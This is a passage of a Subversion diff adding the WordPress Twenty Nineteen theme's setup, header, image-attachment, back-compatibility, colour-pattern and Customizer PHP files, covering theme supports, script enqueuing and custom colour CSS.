+		load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
+
+		// Add default posts and comments RSS feed links to head.
+		add_theme_support( 'automatic-feed-links' );
+
+		/*
+		 * Let WordPress manage the document title.
+		 * By adding theme support, we declare that this theme does not use a
+		 * hard-coded <title> tag in the document head, and expect WordPress to
+		 * provide it for us.
+		 */
+		add_theme_support( 'title-tag' );
+
+		/*
+		 * Enable support for Post Thumbnails on posts and pages.
+		 *
+		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
+		 */
+		add_theme_support( 'post-thumbnails' );
+		set_post_thumbnail_size( 1568, 9999 );
+
+		// This theme uses wp_nav_menu() in two locations.
+		register_nav_menus(
+			array(
+				'menu-1' => __( 'Primary', 'twentynineteen' ),
+				'footer' => __( 'Footer Menu', 'twentynineteen' ),
+				'social' => __( 'Social Links Menu', 'twentynineteen' ),
+			)
+		);
+
+		/*
+		 * Switch default core markup for search form, comment form, and comments
+		 * to output valid HTML5.
+		 */
+		add_theme_support(
+			'html5',
+			array(
+				'search-form',
+				'comment-form',
+				'comment-list',
+				'gallery',
+				'caption',
+			)
+		);
+
+		/**
+		 * Add support for core custom logo.
+		 *
+		 * @link https://codex.wordpress.org/Theme_Logo
+		 */
+		add_theme_support(
+			'custom-logo',
+			array(
+				'height'      => 190,
+				'width'       => 190,
+				'flex-width'  => false,
+				'flex-height' => false,
+			)
+		);
+
+		// Add theme support for selective refresh for widgets.
+		add_theme_support( 'customize-selective-refresh-widgets' );
+
+		// Add support for Block Styles.
+		add_theme_support( 'wp-block-styles' );
+
+		// Add support for full and wide align images.
+		add_theme_support( 'align-wide' );
+
+		// Add support for editor styles.
+		add_theme_support( 'editor-styles' );
+
+		// Enqueue editor styles.
+		add_editor_style( 'style-editor.css' );
+
+		// Add custom editor font sizes.
+		add_theme_support(
+			'editor-font-sizes',
+			array(
+				array(
+					'name'      => __( 'Small', 'twentynineteen' ),
+					'shortName' => __( 'S', 'twentynineteen' ),
+					'size'      => 19.5,
+					'slug'      => 'small',
+				),
+				array(
+					'name'      => __( 'Normal', 'twentynineteen' ),
+					'shortName' => __( 'M', 'twentynineteen' ),
+					'size'      => 22,
+					'slug'      => 'normal',
+				),
+				array(
+					'name'      => __( 'Large', 'twentynineteen' ),
+					'shortName' => __( 'L', 'twentynineteen' ),
+					'size'      => 36.5,
+					'slug'      => 'large',
+				),
+				array(
+					'name'      => __( 'Huge', 'twentynineteen' ),
+					'shortName' => __( 'XL', 'twentynineteen' ),
+					'size'      => 49.5,
+					'slug'      => 'huge',
+				),
+			)
+		);
+
+		// Editor color palette.
+		add_theme_support(
+			'editor-color-palette',
+			array(
+				array(
+					'name'  => __( 'Primary', 'twentynineteen' ),
+					'slug'  => 'primary',
+					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
+				),
+				array(
+					'name'  => __( 'Secondary', 'twentynineteen' ),
+					'slug'  => 'secondary',
+					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
+				),
+				array(
+					'name'  => __( 'Dark Gray', 'twentynineteen' ),
+					'slug'  => 'dark-gray',
+					'color' => '#111',
+				),
+				array(
+					'name'  => __( 'Light Gray', 'twentynineteen' ),
+					'slug'  => 'light-gray',
+					'color' => '#767676',
+				),
+				array(
+					'name'  => __( 'White', 'twentynineteen' ),
+					'slug'  => 'white',
+					'color' => '#FFF',
+				),
+			)
+		);
+
+		// Add support for responsive embedded content.
+		add_theme_support( 'responsive-embeds' );
+	}
+endif;
+add_action( 'after_setup_theme', 'twentynineteen_setup' );
+
+/**
+ * Register widget area.
+ *
+ * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
+ */
+function twentynineteen_widgets_init() {
+
+	register_sidebar(
+		array(
+			'name'          => __( 'Footer', 'twentynineteen' ),
+			'id'            => 'sidebar-1',
+			'description'   => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
+			'before_widget' => '<section id="%1$s" class="widget %2$s">',
+			'after_widget'  => '</section>',
+			'before_title'  => '<h2 class="widget-title">',
+			'after_title'   => '</h2>',
+		)
+	);
+
+}
+add_action( 'widgets_init', 'twentynineteen_widgets_init' );
+
+/**
+ * Set the content width in pixels, based on the theme's design and stylesheet.
+ *
+ * Priority 0 to make it available to lower priority callbacks.
+ *
+ * @global int $content_width Content width.
+ */
+function twentynineteen_content_width() {
+	// This variable is intended to be overruled from themes.
+	// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
+	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
+	$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
+}
+add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
+
+/**
+ * Enqueue scripts and styles.
+ */
+function twentynineteen_scripts() {
+	wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
+
+	wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
+
+	if ( has_nav_menu( 'menu-1' ) ) {
+		wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.1', true );
+		wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.1', true );
+	}
+
+	wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+}
+add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
+
+/**
+ * Fix skip link focus in IE11.
+ *
+ * This does not enqueue the script because it is tiny and because it is only for IE11,
+ * thus it does not warrant having an entire dedicated blocking script being loaded.
+ *
+ * @link https://git.io/vWdr2
+ */
+function twentynineteen_skip_link_focus_fix() {
+	// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
+	?>
+	<script>
+	/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
+	</script>
+	<?php
+}
+add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
+
+/**
+ * Enqueue supplemental block editor styles.
+ */
+function twentynineteen_editor_customizer_styles() {
+
+	wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.1', 'all' );
+
+	if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
+		// Include color patterns.
+		require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
+		wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
+	}
+}
+add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
+
+/**
+ * Display custom color CSS in customizer and on frontend.
+ */
+function twentynineteen_colors_css_wrap() {
+
+	// Only include custom colors in customizer or frontend.
+	if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
+		return;
+	}
+
+	require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
+
+	$primary_color = 199;
+	if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
+		$primary_color = get_theme_mod( 'primary_color_hue', 199 );
+	}
+	?>
+
+	<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
+		<?php echo twentynineteen_custom_colors_css(); ?>
+	</style>
+	<?php
+}
+add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
+
+/**
+ * SVG Icons class.
+ */
+require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
+
+/**
+ * Custom Comment Walker template.
+ */
+require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
+
+/**
+ * Enhance the theme by hooking into WordPress.
+ */
+require get_template_directory() . '/inc/template-functions.php';
+
+/**
+ * SVG Icons related functions.
+ */
+require get_template_directory() . '/inc/icon-functions.php';
+
+/**
+ * Custom template tags for the theme.
+ */
+require get_template_directory() . '/inc/template-tags.php';
+
+/**
+ * Customizer additions.
+ */
+require get_template_directory() . '/inc/customizer.php';
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/header.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The header for our theme
+ *
+ * This is the template that displays all of the <head> section and everything up until <div id="content">
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+?><!doctype html>
+<html <?php language_attributes(); ?>>
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>" />
+	<meta name="viewport" content="width=device-width, initial-scale=1" />
+	<link rel="profile" href="https://gmpg.org/xfn/11" />
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="site">
+	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentynineteen' ); ?></a>
+
+		<header id="masthead" class="<?php echo is_singular() && twentynineteen_can_show_post_thumbnail() ? 'site-header featured-image' : 'site-header'; ?>">
+
+			<div class="site-branding-container">
+				<?php get_template_part( 'template-parts/header/site', 'branding' ); ?>
+			</div><!-- .layout-wrap -->
+
+			<?php if ( is_singular() && twentynineteen_can_show_post_thumbnail() ) : ?>
+				<div class="site-featured-image">
+					<?php
+						twentynineteen_post_thumbnail();
+						the_post();
+						$discussion = ! is_page() && twentynineteen_can_show_post_thumbnail() ? twentynineteen_get_discussion_data() : null;
+
+						$classes = 'entry-header';
+						if ( ! empty( $discussion ) && absint( $discussion->responses ) > 0 ) {
+							$classes = 'entry-header has-discussion';
+						}
+					?>
+					<div class="<?php echo $classes; ?>">
+						<?php get_template_part( 'template-parts/header/entry', 'header' ); ?>
+					</div><!-- .entry-header -->
+					<?php rewind_posts(); ?>
+				</div>
+			<?php endif; ?>
+		</header><!-- #masthead -->
+
+	<div id="content" class="site-content">
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/image.php	(revision 56912)
@@ -0,0 +1,104 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+			<?php
+				// Start the loop.
+				while ( have_posts() ) :
+					the_post();
+			?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+					<header class="entry-header">
+						<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<figure class="entry-attachment wp-block-image">
+							<?php
+								/**
+								 * Filter the default twentynineteen image attachment size.
+								 *
+								 * @since Twenty Sixteen 1.0
+								 *
+								 * @param string $image_size Image size. Default 'large'.
+								 */
+								$image_size = apply_filters( 'twentynineteen_attachment_size', 'full' );
+
+								echo wp_get_attachment_image( get_the_ID(), $image_size );
+							?>
+
+							<figcaption class="wp-caption-text"><?php the_excerpt(); ?></figcaption>
+
+						</figure><!-- .entry-attachment -->
+
+						<?php
+							the_content();
+							wp_link_pages(
+								array(
+									'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentynineteen' ) . '</span>',
+									'after'       => '</div>',
+									'link_before' => '<span>',
+									'link_after'  => '</span>',
+									'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentynineteen' ) . ' </span>%',
+									'separator'   => '<span class="screen-reader-text">, </span>',
+								)
+							);
+						?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-footer">
+						<?php
+							// Retrieve attachment metadata.
+							$metadata = wp_get_attachment_metadata();
+							if ( $metadata ) {
+								printf(
+									'<span class="full-size-link"><span class="screen-reader-text">%1$s</span><a href="%2$s">%3$s &times; %4$s</a></span>',
+									_x( 'Full size', 'Used before full size attachment link.', 'twentynineteen' ),
+									esc_url( wp_get_attachment_url() ),
+									absint( $metadata['width'] ),
+									absint( $metadata['height'] )
+								);
+							}
+						?>
+
+						<?php twentynineteen_entry_footer(); ?>
+
+					</footer><!-- .entry-footer -->
+				</article><!-- #post-## -->
+
+				<?php
+					// Parent post navigation.
+					the_post_navigation(
+						array(
+							'prev_text' => _x( '<span class="meta-nav">Published in</span><br><span class="post-title">%title</span>', 'Parent post link', 'twentynineteen' ),
+						)
+					);
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+
+				// End the loop.
+				endwhile;
+			?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Twenty Nineteen back compat functionality
+ *
+ * Prevents Twenty Nineteen from running on WordPress versions prior to 4.7,
+ * since this theme is not meant to be backward compatible beyond that and
+ * relies on many newer functions and markup changes introduced in 4.7.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since Twenty Nineteen 1.0.0
+ */
+
+/**
+ * Prevent switching to Twenty Nineteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Nineteen 1.0.0
+ */
+function twentynineteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentynineteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentynineteen_switch_theme' );
+
+/**
+ * Adds a message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Nineteen on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Nineteen 1.0.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentynineteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Nineteen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentynineteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevents the Customizer from being loaded on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Nineteen 1.0.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentynineteen_customize() {
+	wp_die(
+		sprintf(
+			__( 'Twenty Nineteen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentynineteen' ),
+			$GLOBALS['wp_version']
+		),
+		'',
+		array(
+			'back_link' => true,
+		)
+	);
+}
+add_action( 'load-customize.php', 'twentynineteen_customize' );
+
+/**
+ * Prevents the Theme Preview from being loaded on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Nineteen 1.0.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentynineteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Nineteen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentynineteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentynineteen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/color-patterns.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/color-patterns.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/color-patterns.php	(revision 56912)
@@ -0,0 +1,277 @@
+<?php
+/**
+ * Twenty Nineteen: Color Patterns
+ *
+ * @package WordPress
+ * @subpackage TwentyNineteen
+ * @since 1.0
+ */
+
+/**
+ * Generate the CSS for the current primary color.
+ */
+function twentynineteen_custom_colors_css() {
+
+	$primary_color = 199;
+	if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
+		$primary_color = absint( get_theme_mod( 'primary_color_hue', 199 ) );
+	}
+
+	/**
+	 * Filter Twenty Nineteen default saturation level.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param int $saturation Color saturation level.
+	 */
+	$saturation = apply_filters( 'twentynineteen_custom_colors_saturation', 100 );
+	$saturation = absint( $saturation ) . '%';
+
+	/**
+	 * Filter Twenty Nineteen default selection saturation level.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param int $saturation_selection Selection color saturation level.
+	 */
+	$saturation_selection = absint( apply_filters( 'twentynineteen_custom_colors_saturation_selection', 50 ) );
+	$saturation_selection = $saturation_selection . '%';
+
+	/**
+	 * Filter Twenty Nineteen default lightness level.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param int $lightness Color lightness level.
+	 */
+	$lightness = apply_filters( 'twentynineteen_custom_colors_lightness', 33 );
+	$lightness = absint( $lightness ) . '%';
+
+	/**
+	 * Filter Twenty Nineteen default hover lightness level.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param int $lightness_hover Hover color lightness level.
+	 */
+	$lightness_hover = apply_filters( 'twentynineteen_custom_colors_lightness_hover', 23 );
+	$lightness_hover = absint( $lightness_hover ) . '%';
+
+	/**
+	 * Filter Twenty Nineteen default selection lightness level.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param int $lightness_selection Selection color lightness level.
+	 */
+	$lightness_selection = apply_filters( 'twentynineteen_custom_colors_lightness_selection', 90 );
+	$lightness_selection = absint( $lightness_selection ) . '%';
+
+	$theme_css = '
+		/*
+		 * Set background for:
+		 * - featured image :before
+		 * - featured image :before
+		 * - post thumbmail :before
+		 * - post thumbmail :before
+		 * - Submenu
+		 * - Sticky Post
+		 * - buttons
+		 * - WP Block Button
+		 * - Blocks
+		 */
+		.image-filters-enabled .site-header.featured-image .site-featured-image:before,
+		.image-filters-enabled .site-header.featured-image .site-featured-image:after,
+		.image-filters-enabled .entry .post-thumbnail:before,
+		.image-filters-enabled .entry .post-thumbnail:after,
+		.main-navigation .sub-menu,
+		.sticky-post,
+		.entry .entry-content .wp-block-button .wp-block-button__link:not(.has-background),
+		.entry .button, button, input[type="button"], input[type="reset"], input[type="submit"],
+		.entry .entry-content > .has-primary-background-color,
+		.entry .entry-content > *[class^="wp-block-"].has-primary-background-color,
+		.entry .entry-content > *[class^="wp-block-"] .has-primary-background-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color.has-primary-background-color,
+		.entry .entry-content .wp-block-file .wp-block-file__button {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		/*
+		 * Set Color for:
+		 * - all links
+		 * - main navigation links
+		 * - Post navigation links
+		 * - Post entry meta hover
+		 * - Post entry header more-link hover
+		 * - main navigation svg
+		 * - comment navigation
+		 * - Comment edit link hover
+		 * - Site Footer Link hover
+		 * - Widget links
+		 */
+		a,
+		a:visited,
+		.main-navigation .main-menu > li,
+		.main-navigation ul.main-menu > li > a,
+		.post-navigation .post-title,
+		.entry .entry-meta a:hover,
+		.entry .entry-footer a:hover,
+		.entry .entry-content .more-link:hover,
+		.main-navigation .main-menu > li > a + svg,
+		.comment .comment-metadata > a:hover,
+		.comment .comment-metadata .comment-edit-link:hover,
+		#colophon .site-info a:hover,
+		.widget a,
+		.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color),
+		.entry .entry-content > .has-primary-color,
+		.entry .entry-content > *[class^="wp-block-"] .has-primary-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color blockquote.has-primary-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color blockquote.has-primary-color p {
+			color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		/*
+		 * Set left border color for:
+		 * wp block quote
+		 */
+		blockquote,
+		.entry .entry-content blockquote,
+		.entry .entry-content .wp-block-quote:not(.is-large),
+		.entry .entry-content .wp-block-quote:not(.is-style-large) {
+			border-left-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		/*
+		 * Set border color for:
+		 * :focus
+		 */
+		input[type="text"]:focus,
+		input[type="email"]:focus,
+		input[type="url"]:focus,
+		input[type="password"]:focus,
+		input[type="search"]:focus,
+		input[type="number"]:focus,
+		input[type="tel"]:focus,
+		input[type="range"]:focus,
+		input[type="date"]:focus,
+		input[type="month"]:focus,
+		input[type="week"]:focus,
+		input[type="time"]:focus,
+		input[type="datetime"]:focus,
+		input[type="datetime-local"]:focus,
+		input[type="color"]:focus,
+		textarea:focus {
+			border-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		.gallery-item > div > a:focus {
+			box-shadow: 0 0 0 2px hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		/* Hover colors */
+		a:hover, a:active,
+		.main-navigation .main-menu > li > a:hover,
+		.main-navigation .main-menu > li > a:hover + svg,
+		.post-navigation .nav-links a:hover,
+		.post-navigation .nav-links a:hover .post-title,
+		.author-bio .author-description .author-link:hover,
+		.entry .entry-content > .has-secondary-color,
+		.entry .entry-content > *[class^="wp-block-"] .has-secondary-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color blockquote.has-secondary-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color blockquote.has-secondary-color p,
+		.comment .comment-author .fn a:hover,
+		.comment-reply-link:hover,
+		.comment-navigation .nav-previous a:hover,
+		.comment-navigation .nav-next a:hover,
+		#cancel-comment-reply-link:hover,
+		.widget a:hover {
+			color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness_hover . ' ); /* base: #005177; */
+		}
+
+		.main-navigation .sub-menu > li > a:hover,
+		.main-navigation .sub-menu > li > a:focus,
+		.main-navigation .sub-menu > li > a:hover:after,
+		.main-navigation .sub-menu > li > a:focus:after,
+		.main-navigation .sub-menu > li > .menu-item-link-return:hover,
+		.main-navigation .sub-menu > li > .menu-item-link-return:focus,
+		.main-navigation .sub-menu > li > a:not(.submenu-expand):hover,
+		.main-navigation .sub-menu > li > a:not(.submenu-expand):focus,
+		.entry .entry-content > .has-secondary-background-color,
+		.entry .entry-content > *[class^="wp-block-"].has-secondary-background-color,
+		.entry .entry-content > *[class^="wp-block-"] .has-secondary-background-color,
+		.entry .entry-content > *[class^="wp-block-"].is-style-solid-color.has-secondary-background-color {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness_hover . ' ); /* base: #005177; */
+		}
+
+		/* Text selection colors */
+		::selection {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation_selection . ', ' . $lightness_selection . ' ); /* base: #005177; */
+		}
+		::-moz-selection {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation_selection . ', ' . $lightness_selection . ' ); /* base: #005177; */
+		}';
+
+	$editor_css = '
+		/*
+		 * Set colors for:
+		 * - links
+		 * - blockquote
+		 * - pullquote (solid color)
+		 * - buttons
+		 */
+		.editor-block-list__layout .editor-block-list__block a,
+		.editor-block-list__layout .editor-block-list__block .wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color),
+		.editor-block-list__layout .editor-block-list__block .wp-block-button.is-style-outline:hover .wp-block-button__link:not(.has-text-color),
+		.editor-block-list__layout .editor-block-list__block .wp-block-button.is-style-outline:focus .wp-block-button__link:not(.has-text-color),
+		.editor-block-list__layout .editor-block-list__block .wp-block-button.is-style-outline:active .wp-block-button__link:not(.has-text-color),
+		.editor-block-list__layout .editor-block-list__block .wp-block-file .wp-block-file__textlink {
+			color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		.editor-block-list__layout .editor-block-list__block .wp-block-quote:not(.is-large):not(.is-style-large),
+		.editor-styles-wrapper .editor-block-list__layout .wp-block-freeform blockquote {
+			border-left: 2px solid hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		.editor-block-list__layout .editor-block-list__block .wp-block-pullquote.is-style-solid-color:not(.has-background-color) {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		.editor-block-list__layout .editor-block-list__block .wp-block-file .wp-block-file__button,
+		.editor-block-list__layout .editor-block-list__block .wp-block-button:not(.is-style-outline) .wp-block-button__link,
+		.editor-block-list__layout .editor-block-list__block .wp-block-button:not(.is-style-outline) .wp-block-button__link:active,
+		.editor-block-list__layout .editor-block-list__block .wp-block-button:not(.is-style-outline) .wp-block-button__link:focus,
+		.editor-block-list__layout .editor-block-list__block .wp-block-button:not(.is-style-outline) .wp-block-button__link:hover {
+			background-color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness . ' ); /* base: #0073a8; */
+		}
+
+		/* Hover colors */
+		.editor-block-list__layout .editor-block-list__block a:hover,
+		.editor-block-list__layout .editor-block-list__block a:active,
+		.editor-block-list__layout .editor-block-list__block .wp-block-file .wp-block-file__textlink:hover {
+			color: hsl( ' . $primary_color . ', ' . $saturation . ', ' . $lightness_hover . ' ); /* base: #005177; */
+		}
+
+		/* Do not overwrite solid color pullquote or cover links */
+		.editor-block-list__layout .editor-block-list__block .wp-block-pullquote.is-style-solid-color a,
+		.editor-block-list__layout .editor-block-list__block .wp-block-cover a {
+			color: inherit;
+		}
+		';
+
+	if ( function_exists( 'register_block_type' ) && is_admin() ) {
+		$theme_css = $editor_css;
+	}
+
+	/**
+	 * Filters Twenty Nineteen custom colors CSS.
+	 *
+	 * @since Twenty Nineteen 1.0
+	 *
+	 * @param string $css           Base theme colors CSS.
+	 * @param int    $primary_color The user's selected color hue.
+	 * @param string $saturation    Filtered theme color saturation level.
+	 */
+	return apply_filters( 'twentynineteen_custom_colors_css', $theme_css, $primary_color, $saturation );
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/customizer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/customizer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/inc/customizer.php	(revision 56912)
@@ -0,0 +1,158 @@
+<?php
+/**
+ * Twenty Nineteen: Customizer
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * Add postMessage support for site title and description for the Theme Customizer.
+ *
+ * @param WP_Customize_Manager $wp_customize Theme Customizer object.
+ */
+function twentynineteen_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial(
+			'blogname',
+			array(
+				'selector'        => '.site-title a',
+				'render_callback' => 'twentynineteen_customize_partial_blogname',
+			)
+		);
+		$wp_customize->selective_refresh->add_partial(
+			'blogdescription',
+			array(
+				'selector'        => '.site-description',
+				'render_callback' => 'twentynineteen_customize_partial_blogdescription',
+			)
+		);
+	}
+
+	/**
+	 * Primary color.
+	 */
+	$wp_customize->add_setting(
+		'primary_color',
+		array(
+			'default'           => 'default',
+			'transport'         => 'postMessage',
+			'sanitize_callback' => 'twentynineteen_sanitize_color_option',
+		)
+	);
+
+	$wp_customize->add_control(
+		'primary_color',
+		array(
+			'type'     => 'radio',
+			'label'    => __( 'Primary Color', 'twentynineteen' ),
+			'choices'  => array(
+				'default'  => _x( 'Default', 'primary color', 'twentynineteen' ),
+				'custom' => _x( 'Custom', 'primary color', 'twentynineteen' ),
+			),
+			'section'  => 'colors',
+			'priority' => 5,
+		)
+	);
+
+	// Add primary color hue setting and control.
+	$wp_customize->add_setting(
+		'primary_color_hue',
+		array(
+			'default'           => 199,
+			'transport'         => 'postMessage',
+			'sanitize_callback' => 'absint',
+		)
+	);
+
+	$wp_customize->add_control(
+		new WP_Customize_Color_Control(
+			$wp_customize,
+			'primary_color_hue',
+			array(
+				'description' => __( 'Apply a custom color for buttons, links, featured images, etc.', 'twentynineteen' ),
+				'section'     => 'colors',
+				'mode'        => 'hue',
+			)
+		)
+	);
+
+	// Add image filter setting and control.
+	$wp_customize->add_setting(
+		'image_filter',
+		array(
+			'default'           => 1,
+			'sanitize_callback' => 'absint',
+			'transport'         => 'postMessage',
+		)
+	);
+
+	$wp_customize->add_control(
+		'image_filter',
+		array(
+			'label'   => __( 'Apply a filter to featured images using the primary color', 'twentynineteen' ),
+			'section' => 'colors',
+			'type'    => 'checkbox',
+		)
+	);
+}
+add_action( 'customize_register', 'twentynineteen_customize_register' );
+
+/**
